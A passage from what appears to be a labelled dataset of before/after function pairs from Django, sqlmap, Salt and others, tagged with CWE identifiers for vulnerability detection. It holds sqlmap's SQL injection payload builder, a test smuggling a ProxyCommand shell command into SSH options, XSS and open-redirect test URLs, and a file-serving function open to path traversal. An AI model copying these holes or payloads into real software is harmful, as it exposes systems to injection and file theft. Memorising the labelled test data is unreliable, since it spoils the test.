        result = super(ActionModule, self).run(tmp, task_vars)
        return result"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/middleware/doc.py,0,"def process_view(self, request, view_func, param_dict):
        """"""
        If the request method is HEAD and the IP is internal, quickly return
        with an x-header indicating the view function.  This is used by the
        documentation module to lookup the view function for an arbitrary page.
        """"""
        if request.META['REQUEST_METHOD'] == 'HEAD' and request.META.get('REMOTE_ADDR') in settings.INTERNAL_IPS:
            response = httpwrappers.HttpResponse()
            response['X-View'] = ""%s.%s"" % (view_func.__module__, view_func.__name__)
            return response",CWE-Unknown,django/django,cb6aa1035bf900e9f124e91c0521f7081ba105e3,"def process_view(self, request, view_func, param_dict):
        """"""
        If the request method is HEAD and the IP is internal, quickly return
        with an x-header indicating the view function.  This is used by the
        documentation module to lookup the view function for an arbitrary page.
        """"""
        if request.META['REQUEST_METHOD'] == 'HEAD' and request.META['REMOTE_ADDR'] in settings.INTERNAL_IPS:
            response = httpwrappers.HttpResponse()
            response['X-View'] = ""%s.%s"" % (view_func.__module__, view_func.__name__)
            return response"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^""\[,]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""&]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]
            match = re.search(r""([^;]+)=(?P<value>[^;]+);?\Z"", origValue)
            if match:
                origValue = match.group(""value"")

        if conf.prefix:
            value = origValue

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
                    value = randomStr(6)
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not ""'%s'"" % _ in paramString:
                newValue = ""'%s'"" % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass
                if match:
                    while True:
                        _ = re.search(r""\\g<([^>]+)>"", repl)
                        if _:
                            repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal

            if origValue:
                retVal = _(r""(\A|\b)%s=%s(\Z|\b)"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            else:
                retVal = _(r""(\A|\b)%s=%s(\Z|%s|%s|\s)"" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), ""%s=%s\g<2>"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            if retVal == paramString and urlencode(parameter) != parameter:
                retVal = _(r""(\A|\b)%s=%s"" % (re.escape(urlencode(parameter)), re.escape(origValue)), ""%s=%s"" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal",,sqlmapproject/sqlmap,816348f1ab8c9e2d2d134bb76f03250f7f3b68bc,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^""\[,]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""&]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]
            match = re.search(r""([^;]+)=(?P<value>[^;]+);?\Z"", origValue)
            if match:
                origValue = match.group(""value"")

        if conf.prefix:
            value = origValue

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
                    value = randomStr(6)
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not ""'%s'"" % _ in paramString:
                newValue = ""'%s'"" % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            if origValue:
                retVal = re.sub(r""(\A|\b)%s=%s(\Z|\b)"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            else:
                retVal = re.sub(r""(\A|\b)%s=%s(\Z|%s|%s|\s)"" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), ""%s=%s\g<2>"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            if retVal == paramString and urlencode(parameter) != parameter:
                retVal = re.sub(r""(\A|\b)%s=%s"" % (re.escape(urlencode(parameter)), re.escape(origValue)), ""%s=%s"" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/db/backends/mysql/operations.py,0,"def unsupported_functions(self):
        unsupported = {
            ""AsGML"",
            ""AsKML"",
            ""AsSVG"",
            ""Azimuth"",
            ""BoundingCircle"",
            ""ForcePolygonCW"",
            ""GeometryDistance"",
            ""IsEmpty"",
            ""LineLocatePoint"",
            ""MakeValid"",
            ""MemSize"",
            ""Perimeter"",
            ""PointOnSurface"",
            ""Reverse"",
            ""Scale"",
            ""SnapToGrid"",
            ""Transform"",
            ""Translate"",
        }
        if self.connection.mysql_is_mariadb:
            unsupported.remove(""PointOnSurface"")
            unsupported.update({""GeoHash"", ""IsValid""})
        return unsupported",CWE-Unknown,django/django,2a14b8df39b573124ea42dec0ce96147c8e767d4,"def unsupported_functions(self):
        unsupported = {
            ""AsGML"",
            ""AsKML"",
            ""AsSVG"",
            ""Azimuth"",
            ""BoundingCircle"",
            ""ForcePolygonCW"",
            ""GeometryDistance"",
            ""LineLocatePoint"",
            ""MakeValid"",
            ""MemSize"",
            ""Perimeter"",
            ""PointOnSurface"",
            ""Reverse"",
            ""Scale"",
            ""SnapToGrid"",
            ""Transform"",
            ""Translate"",
        }
        if self.connection.mysql_is_mariadb:
            unsupported.remove(""PointOnSurface"")
            unsupported.update({""GeoHash"", ""IsValid""})
        return unsupported"
,UNKNOWN,UNKNOWN,tests/io/test_path.py,1,"def test_lazy_load(self):
        o = ObjectStoragePath(""file:///tmp/foo"")
        with pytest.raises(AttributeError):
            assert o._fs_cached

        assert o.fs is not None
        assert o._fs_cached",CWE-703,apache/airflow,0c2d53e14bc61e7c7caae3341da60f10830ba187,"def test_lazy_load(self):
        o = ObjectStoragePath(""file:///tmp/foo"")
        with pytest.raises(AttributeError):
            assert o._fs_cached

        assert o.fs is not None
        assert o._fs_cached"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/handlers/tests/test_keepalive.py,0,"def test_get_available_conn_reuse(self):
        # We don't need a new HTTPConnection for each request
        self.request.new_connection = False
        self.request.get_host = lambda: 'w3af.org'
        self.request.get_netloc = lambda: 'w3af.org'

        self.cm.MAX_CONNECTIONS = 1  # Only a single connection
        self.assertEquals(0, len(self.cm._used_conns))
        self.assertEquals(0, len(self.cm._free_conns))

        # Get connection
        def conn_factory(request):
            mock = Mock()
            mock.host = request.get_host()
            mock.host_port = request.get_host()
            return mock

        conn_1 = self.cm.get_available_connection(self.request, conn_factory)
        self.assertEquals(1, len(self.cm._used_conns))
        self.assertEquals(0, len(self.cm._free_conns))

        # Return it to the pool
        self.cm.free_connection(conn_1)
        self.assertEquals(0, len(self.cm._used_conns))
        self.assertEquals(1, len(self.cm._free_conns))

        # Ask for a conn again, since we don't need a new connection, it should
        # return one from the pool
        conn_2 = self.cm.get_available_connection(self.request, conn_factory)
        self.assertIs(conn_2, conn_1)",,andresriancho/w3af,90d1ff73e962a9c3850f821e1b0d36c01678a1e8,"def test_get_available_conn_reuse(self):
        # We don't need a new HTTPConnection for each request
        self.request.new_connection = False
        self.request.get_host = lambda: 'w3af.org'

        self.cm.MAX_CONNECTIONS = 1  # Only a single connection
        self.assertEquals(0, len(self.cm._used_conns))
        self.assertEquals(0, len(self.cm._free_conns))

        # Get connection
        def conn_factory(request):
            mock = Mock()
            mock.host = request.get_host()
            return mock

        conn_1 = self.cm.get_available_connection(self.request, conn_factory)
        self.assertEquals(1, len(self.cm._used_conns))
        self.assertEquals(0, len(self.cm._free_conns))

        # Return it to the pool
        self.cm.free_connection(conn_1)
        self.assertEquals(0, len(self.cm._used_conns))
        self.assertEquals(1, len(self.cm._free_conns))

        # Ask for a conn again, since we don't need a new connection, it should
        # return one from the pool
        conn_2 = self.cm.get_available_connection(self.request, conn_factory)
        self.assertIs(conn_2, conn_1)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/jinja.py,0,"def get_source(self, environment, template):
        """"""
        Salt-specific loader to find imported jinja files.

        Jinja imports will be interpreted as originating from the top
        of each of the directories in the searchpath when the template
        name does not begin with './' or '../'.  When a template name
        begins with './' or '../' then the import will be relative to
        the importing file.

        """"""
        # FIXME: somewhere do seprataor replacement: '\\' => '/'
        _template = template
        if template.split(""/"", 1)[0] in ("".."", "".""):
            is_relative = True
        else:
            is_relative = False
        # checks for relative '..' paths that step-out of file_roots
        if is_relative:
            # Starts with a relative path indicator

            if not environment or ""tpldir"" not in environment.globals:
                log.warning(
                    'Relative path ""%s"" cannot be resolved without an environment',
                    template,
                )
                raise TemplateNotFound(template)
            base_path = environment.globals[""tpldir""]
            _template = os.path.normpath(""/"".join((base_path, _template)))
            if _template.split(""/"", 1)[0] == "".."":
                log.warning(
                    'Discarded template path ""%s"": attempts to'
                    "" ascend outside of salt://"",
                    template,
                )
                raise TemplateNotFound(template)

        self.check_cache(_template)

        if environment and template:
            tpldir = os.path.dirname(_template).replace(""\\"", ""/"")
            tplfile = _template
            if is_relative:
                tpldir = environment.globals.get(""tpldir"", tpldir)
                tplfile = template
            tpldata = {
                ""tplfile"": tplfile,
                ""tpldir"": ""."" if tpldir == """" else tpldir,
                ""tpldot"": tpldir.replace(""/"", "".""),
            }
            environment.globals.update(tpldata)

        # pylint: disable=cell-var-from-loop
        for spath in self.searchpath:
            filepath = os.path.join(spath, _template)
            try:
                with salt.utils.files.fopen(filepath, ""rb"") as ifile:
                    contents = ifile.read().decode(self.encoding)
                    mtime = os.path.getmtime(filepath)

                    def uptodate():
                        try:
                            return os.path.getmtime(filepath) == mtime
                        except OSError:
                            return False

                    return contents, filepath, uptodate
            except OSError:
                # there is no file under current path
                continue
        # pylint: enable=cell-var-from-loop

        # there is no template file within searchpaths
        raise TemplateNotFound(template)",,saltstack/salt,7275ecf073197faed26f3a571c25fcd59bfbfd60,"def get_source(self, environment, template):
        """"""
        Salt-specific loader to find imported jinja files.

        Jinja imports will be interpreted as originating from the top
        of each of the directories in the searchpath when the template
        name does not begin with './' or '../'.  When a template name
        begins with './' or '../' then the import will be relative to
        the importing file.

        """"""
        # FIXME: somewhere do seprataor replacement: '\\' => '/'
        _template = template
        if template.split(""/"", 1)[0] in ("".."", "".""):
            is_relative = True
        else:
            is_relative = False
        # checks for relative '..' paths that step-out of file_roots
        if is_relative:
            # Starts with a relative path indicator

            if not environment or ""tpldir"" not in environment.globals:
                log.warning(
                    'Relative path ""%s"" cannot be resolved without an environment',
                    template,
                )
                raise TemplateNotFound
            base_path = environment.globals[""tpldir""]
            _template = os.path.normpath(""/"".join((base_path, _template)))
            if _template.split(""/"", 1)[0] == "".."":
                log.warning(
                    'Discarded template path ""%s"": attempts to'
                    "" ascend outside of salt://"",
                    template,
                )
                raise TemplateNotFound(template)

        self.check_cache(_template)

        if environment and template:
            tpldir = os.path.dirname(_template).replace(""\\"", ""/"")
            tplfile = _template
            if is_relative:
                tpldir = environment.globals.get(""tpldir"", tpldir)
                tplfile = template
            tpldata = {
                ""tplfile"": tplfile,
                ""tpldir"": ""."" if tpldir == """" else tpldir,
                ""tpldot"": tpldir.replace(""/"", "".""),
            }
            environment.globals.update(tpldata)

        # pylint: disable=cell-var-from-loop
        for spath in self.searchpath:
            filepath = os.path.join(spath, _template)
            try:
                with salt.utils.files.fopen(filepath, ""rb"") as ifile:
                    contents = ifile.read().decode(self.encoding)
                    mtime = os.path.getmtime(filepath)

                    def uptodate():
                        try:
                            return os.path.getmtime(filepath) == mtime
                        except OSError:
                            return False

                    return contents, filepath, uptodate
            except OSError:
                # there is no file under current path
                continue
        # pylint: enable=cell-var-from-loop

        # there is no template file within searchpaths
        raise TemplateNotFound(template)"
,UNKNOWN,UNKNOWN,tests/integration/netapi/test_client.py,1,"def test_ssh_cve_2021_3197_b(self):
        assert not os.path.exists(self.expfile)
        low = {
            ""eauth"": ""auto"",
            ""username"": self.USERA,
            ""password"": self.USERA_PWD,
            ""client"": ""ssh"",
            ""tgt"": ""localhost"",
            ""fun"": ""test.ping"",
            ""ssh_port"": 22,
            ""ssh_priv"": self.priv_file,
            'ssh_options': ['ProxyCommand=""touch {}""'.format(self.expfile), ]
        }
        ret = self.netapi.run(low)
        assert not os.path.exists(self.expfile)",CWE-703,saltstack/salt,2875597fbbca3a3359d6a69a8c13445f44d29ad4,"def test_ssh_cve_2021_3197_b(self):
        assert not os.path.exists(self.expfile)
        low = {
            ""eauth"": ""auto"",
            ""username"": self.USERA,
            ""password"": self.USERA_PWD,
            ""client"": ""ssh"",
            ""tgt"": ""localhost"",
            ""fun"": ""test.ping"",
            ""ssh_port"": 22,
            ""ssh_priv"": self.priv_file,
            'ssh_options': ['ProxyCommand=""touch {}""'.format(self.expfile),]
        }
        ret = self.netapi.run(low)
        assert not os.path.exists(self.expfile)"
,UNKNOWN,UNKNOWN,tests/auth_tests/test_views.py,1,"def test_security_check(self):
        login_url = reverse('login')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'http:///example.com',
                        'https://example.com',
                        'ftp://example.com',
                        '///example.com',
                        '//example.com',
                        'javascript:alert(""XSS"")'):

            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            response = self.client.post(nasty_url, {
                'username': 'testclient',
                'password': 'password',
            })
            self.assertEqual(response.status_code, 302)
            self.assertNotIn(bad_url, response.url,
                             ""%s should be blocked"" % bad_url)

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://example.com',
                         'view/?param=//example.com',
                         'https://testserver/',
                         'HTTPS://testserver/',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            response = self.client.post(safe_url, {
                'username': 'testclient',
                'password': 'password',
            })
            self.assertEqual(response.status_code, 302)
            self.assertIn(good_url, response.url, ""%s should be allowed"" % good_url)",CWE-259,django/django,549b90fab33c80d1ba6575d4837ea52d79f70fb1,"def test_security_check(self):
        login_url = reverse('login')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'http:///example.com',
                        'https://example.com',
                        'ftp://example.com',
                        '///example.com',
                        '//example.com',
                        'javascript:alert(""XSS"")'):

            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            response = self.client.post(nasty_url, {
                'username': 'testclient',
                'password': 'password',
            })
            self.assertEqual(response.status_code, 302)
            self.assertNotIn(bad_url, response.url,
                             ""%s should be blocked"" % bad_url)

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://example.com',
                         'view/?param=//example.com',
                         'https://testserver/',
                         'HTTPS://testserver/',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            response = self.client.post(safe_url, {
                'username': 'testclient',
                'password': 'password',
            })
            self.assertEqual(response.status_code, 302)
            self.assertIn(good_url, response.url, ""%s should be allowed"" % good_url)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/master.py,0,"def _serve_file(self, load):
        '''
        Return a chunk from a file based on the data recieved
        '''
        if not load.has_key('path') or not load.has_key('loc'):
            return False
        path = load['path']
        if path.startswith('/'):
            path = load['path'][1:]
        path = os.path.join(self.opts['file_root'], path)
        if not os.path.isfile(path):
            return ''
        fn_ = open(path, 'rb')
        fn_.seek(load['loc'])
        return self.crypticle.dumps(fn_.read(self.opts['file_buffer_size']))",,saltstack/salt,ad66c1040fd8224e5352b097ee59255b352b2fe8,"def _serve_file(self, load):
        '''
        Return a chunk from a file based on the data recieved
        '''
        if not load.has_key('path') or not load.has_key('loc'):
            return False
        if path.startswith('/'):
            path = load['path'][1:]
        path = os.path.join(self.opts['file_root'], path)
        if not os.path.isfile(fn_):
            return ''
        fn_ = open(path, 'rb')
        fn_.seek(load['loc'])
        return self.crypticle.dumps(fn_.read(opts['file_buffer_size']))"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_mysql.py,1,"def test_user_exists(self):
        '''
        Test to see if mysql module properly forms the MySQL query to see if a user exists

        Do it before test_user_create_when_user_exists mocks the user_exists call
        '''
        with patch.object(mysql, 'version', return_value='8.0.10'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s AND '
                                     'Password = PASSWORD(%(password)s)'),
                             'sql_args': {'host': 'localhost',
                                          'password': 'BLUECOW',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='localhost',
                            password='BLUECOW'
            )

        with patch.object(mysql, 'version', return_value='10.1.38-MariaDB'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s AND '
                                     'Password = PASSWORD(%(password)s)'),
                             'sql_args': {'host': 'localhost',
                                          'password': 'BLUECOW',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='localhost',
                            password='BLUECOW'
            )

        with patch.object(mysql, 'version', return_value='8.0.11'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s'),
                             'sql_args': {'host': 'localhost',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='localhost',
                            password='BLUECOW'
            )

        with patch.object(mysql, 'version', return_value='8.0.11'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s'),
                             'sql_args': {'host': '%',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='%',
                            password='BLUECOW'
            )

        with patch.object(mysql, 'version', return_value='10.2.21-MariaDB'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s'),
                             'sql_args': {'host': 'localhost',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='localhost',
                            password='BLUECOW'
            )

        # test_user_create_when_user_exists(self):
        # ensure we don't try to create a user when one already exists
        # mock the version of MySQL
        with patch.object(mysql, 'version', return_value='8.0.10'):
            with patch.object(mysql, 'user_exists', MagicMock(return_value=True)):
                with patch.dict(mysql.__salt__, {'config.option': MagicMock()}):
                    ret = mysql.user_create('testuser')
                    self.assertEqual(False, ret)

        # test_user_create_when_user_exists(self):
        # ensure we don't try to create a user when one already exists
        # mock the version of MySQL
        with patch.object(mysql, 'version', return_value='8.0.11'):
            with patch.object(mysql, 'user_exists', MagicMock(return_value=True)):
                with patch.object(mysql, 'verify_login', MagicMock(return_value=True)):
                    with patch.dict(mysql.__salt__, {'config.option': MagicMock()}):
                        ret = mysql.user_create('testuser')
                        self.assertEqual(False, ret)",CWE-259,saltstack/salt,e8e91e3b27031d4d1f00fe494edfa9ecf5bab6e7,"def test_user_exists(self):
        '''
        Test to see if mysql module properly forms the MySQL query to see if a user exists

        Do it before test_user_create_when_user_exists mocks the user_exists call
        '''
        with patch.object(mysql, 'version', return_value='8.0.10'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s AND '
                                     'Password = PASSWORD(%(password)s)'),
                             'sql_args': {'host': 'localhost',
                                          'password': 'BLUECOW',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='localhost',
                            password='BLUECOW'
            )

        with patch.object(mysql, 'version', return_value='8.0.11'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s'),
                             'sql_args': {'host': 'localhost',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='localhost',
                            password='BLUECOW'
            )

        with patch.object(mysql, 'version', return_value='8.0.11'):
            self._test_call(mysql.user_exists,
                            {'sql': ('SELECT User,Host FROM mysql.user WHERE '
                                     'User = %(user)s AND Host = %(host)s'),
                             'sql_args': {'host': '%',
                                          'user': 'mytestuser'
                                         }
                            },
                            user='mytestuser',
                            host='%',
                            password='BLUECOW'
            )

        # test_user_create_when_user_exists(self):
        # ensure we don't try to create a user when one already exists
        # mock the version of MySQL
        with patch.object(mysql, 'version', return_value='8.0.10'):
            with patch.object(mysql, 'user_exists', MagicMock(return_value=True)):
                with patch.dict(mysql.__salt__, {'config.option': MagicMock()}):
                    ret = mysql.user_create('testuser')
                    self.assertEqual(False, ret)

        # test_user_create_when_user_exists(self):
        # ensure we don't try to create a user when one already exists
        # mock the version of MySQL
        with patch.object(mysql, 'version', return_value='8.0.11'):
            with patch.object(mysql, 'user_exists', MagicMock(return_value=True)):
                with patch.object(mysql, 'verify_login', MagicMock(return_value=True)):
                    with patch.dict(mysql.__salt__, {'config.option': MagicMock()}):
                        ret = mysql.user_create('testuser')
                        self.assertEqual(False, ret)"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _create_index_name(self, model, column_names, suffix=""""):
        """"""
        Generates a unique name for an index/unique constraint.
        """"""
        # If there is just one column in the index, use a default algorithm from Django
        if len(column_names) == 1 and not suffix:
            return truncate_name(
                '%s_%s' % (model._meta.db_table, self._digest(column_names[0])),
                self.connection.ops.max_name_length()
            )
        # Else generate the name for the index using a different algorithm
        table_name = model._meta.db_table.replace('""', '').replace('.', '_')
        index_unique_name = '_%s' % self._digest(table_name, *column_names)
        max_length = self.connection.ops.max_name_length() or 200
        # If the index name is too long, truncate it
        index_name = ('%s_%s%s%s' % (
            table_name, column_names[0], index_unique_name, suffix,
        )).replace('""', '').replace('.', '_')
        if len(index_name) > max_length:
            part = ('_%s%s%s' % (column_names[0], index_unique_name, suffix))
            index_name = '%s%s' % (table_name[:(max_length - len(part))], part)
        # It shouldn't start with an underscore (Oracle hates this)
        if index_name[0] == ""_"":
            index_name = index_name[1:]
        # If it's STILL too long, just hash it down
        if len(index_name) > max_length:
            index_name = hashlib.md5(force_bytes(index_name)).hexdigest()[:max_length]
        # It can't start with a number on Oracle, so prepend D if we need to
        if index_name[0].isdigit():
            index_name = ""D%s"" % index_name[:-1]
        return index_name",CWE-327,django/django,4e8b167e4d0817b6ae93be8ad97b31bf203698d8,"def _create_index_name(self, model, column_names, suffix=""""):
        """"""
        Generates a unique name for an index/unique constraint.
        """"""
        # If there is just one column in the index, use a default algorithm from Django
        if len(column_names) == 1 and not suffix:
            return truncate_name(
                '%s_%s' % (model._meta.db_table, self._digest(column_names[0])),
                self.connection.ops.max_name_length()
            )
        # Else generate the name for the index using a different algorithm
        table_name = model._meta.db_table.replace('""', '').replace('.', '_')
        index_unique_name = '_%s' % self._digest(*column_names)
        max_length = self.connection.ops.max_name_length() or 200
        # If the index name is too long, truncate it
        index_name = ('%s_%s%s%s' % (
            table_name, column_names[0], index_unique_name, suffix,
        )).replace('""', '').replace('.', '_')
        if len(index_name) > max_length:
            part = ('_%s%s%s' % (column_names[0], index_unique_name, suffix))
            index_name = '%s%s' % (table_name[:(max_length - len(part))], part)
        # It shouldn't start with an underscore (Oracle hates this)
        if index_name[0] == ""_"":
            index_name = index_name[1:]
        # If it's STILL too long, just hash it down
        if len(index_name) > max_length:
